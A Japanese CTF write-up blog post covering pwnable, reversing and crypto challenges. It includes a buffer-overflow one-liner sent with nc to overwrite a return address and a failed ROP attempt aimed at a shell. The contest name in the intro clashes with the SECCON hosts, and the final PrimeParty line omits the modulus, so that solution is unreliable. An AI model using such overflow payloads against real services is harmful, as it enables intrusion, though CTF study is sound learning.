前編はこちら 本記事はpicoCTF 2022のWriteup(前編)の続きです。 ###card_post_id=826### pwnable BeginnerBof プログラムをみると、main関数内で fgets関数を利用しています。Buffer Overflow が狙えそうです。 この関数の戻りアドレスを Buffer Overflow で書き換え、win関数に遷移させることでフラグが入手できそうです。 gdb (PEDA拡張付き)を利用し、①fgets関数実行直後のスタックの状態 を調べます。 objdumpコマンドで遷移させる ②win関数のアドレス を調べます。 $ objdump -t chall | grep win00000000004011e6 g F .text 000000000000007d win ①②の2つの情報から、入力すべきデータが分かりました。実際に実行してフラグを入手します。 $ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000How long is your name?What's your name?Hello 0123456789012345678901234567890123456789�@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}Segmentation fault raindrop おぼえていますか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46 特に言うことなしの人です。 22時から開始して朝4時まで格闘。起床してからもずっと格闘していましたが、終ぞ解けませんでした。 タイトルどおりROPを狙いに行く問題だと思い、 vuln関数内の read に対してオーバーフロー起こして system('/bin/sh') をコールしてシェルを奪取する感じだと思い、ずっとこねくりまわしていました。 void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf);} ただ /bin/sh のアドレスがわからず「マジで難しくない…?ほんとにこれがeasy…?」ってなりました。 (朝4時) reversing Quiz 逆コンパイルや逆アセンブラも試しましたが、結局は strings コマンドでも フラグが取れました。 $ strings quiz | grep ctf4bctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Recursive リバースエンジニアリングツール Ghidra でダウンロードした実行バイナリをデコンパイルします。 関数check がフラグの妥当性をチェックする関数と分かります。 undefined8 check(char *param_1,int param_2){ int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0;} 変数名など非常に解読しづらいですが、なんとか読めます。 python3で記述すると以下のような関数です。 def check(s: str, i: int) -> bool: l = len(s) if l == 1: return table[i] == s else: h = l // 2 return check(s[:h], i) and check(s[h:], h * h + i) フラグはバイナリのmain関数から38文字と分かっています。 これを逆解析する処理をpythonで記述すると以下のとおりです。 def solve(i: int, length: int) -> str: if length == 1: return table[i] else: h = length // 2 return solve(i, h) + solve(i + h * h, length - h)flag = solve(0, 38)print(flag)print("check:", check(flag, 0)) crypto CoughingFox これは近代的な暗号の知識が不要な問題です。 実直に複合プログラムを実装して、フラグを入手します。 cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]def solve() -> str: for i in range(len(cipher)): s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher] if len(s) != 1: raise "decrypt error" yield s[0]print(*solve(), sep="") PrimeParty nc コマンドでサーバーにつなぐと、4つのランダムな素数が選ばれて、ユーザには3つ整数の入力を求められる。 [*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] Do you want to invite more guests? > 3 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 7 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 5 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895e = 65537cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627 ここで、 n は、サーバ側でランダムに設定された素数4つと、ユーザ入力の3つの整数のうち素数を全てかけ合わせた数である。 e は65537で固定である。 cipher の値は、次のように計算されている。 cipher = pow(flag, e, n) これってRSA暗号に似てるので、 e に対応する d を決めて、 flag = pow(cipher, d, n) を計算すればいいんじゃね?と思ったが、 d を決めるためには、 n を素因数分解しないといけないので、ほかの手段はないの?とぐるぐるしていたら間に合わなかった。 作問者のWriteUpをみて、次のように解けばよいとわかりました。 pが素数で、nが平方因子のない自然数であるとき ①オイラーの定理 \(t \equiv 1\pmod {p−1}⇒ a^t \equiv a\pmod p\) ② FLAGより大きな素数 p を求める (455bitより大きいサイズであればOK) ③ \(ed \equiv 1\pmod {p−1}\)なる\(e\)を探す ④ \(cipher\)を\(p\)で割った余りを\(r\)とする。 ①、③より$$ r^d \equiv X^{ed} \equiv X \pmod p $$がいえて、②より、この条件を満たす\(X\)のうち最小のものがFLAGである。 ③のような\(d\)は次のプログラムで求められるらしい pow(e, -1, p-1) ②の素数は、\(2^{455}\)がだいたい137ケタなので、138ケタ以上の素数を探して持ってくればよい。 https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7 ここから、メルセンヌ素数 \(M_{521}=2^{521}-1\)を使えばよさそう In [6]: 2**521 - 1Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151 https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf 以上より d = pow(e, -1, p-1)flag_int = cipher ** d welcome 完走した感想 昨年参加したときは上位15%ほどでしたが、今回は上位7%とかなりいいところまで行けたと思います。すごい! 昨年同様になってしまいますが、 pwnable と reversing 、 crypto は回答チームも少なく、差が出るポイントかなと思いました。 というかマジでこの3ジャンルは難しい。だれか強い人おらんかぁ? 待っています! ※サムネ画像ロゴは『SECCON Beginners CTF』より引用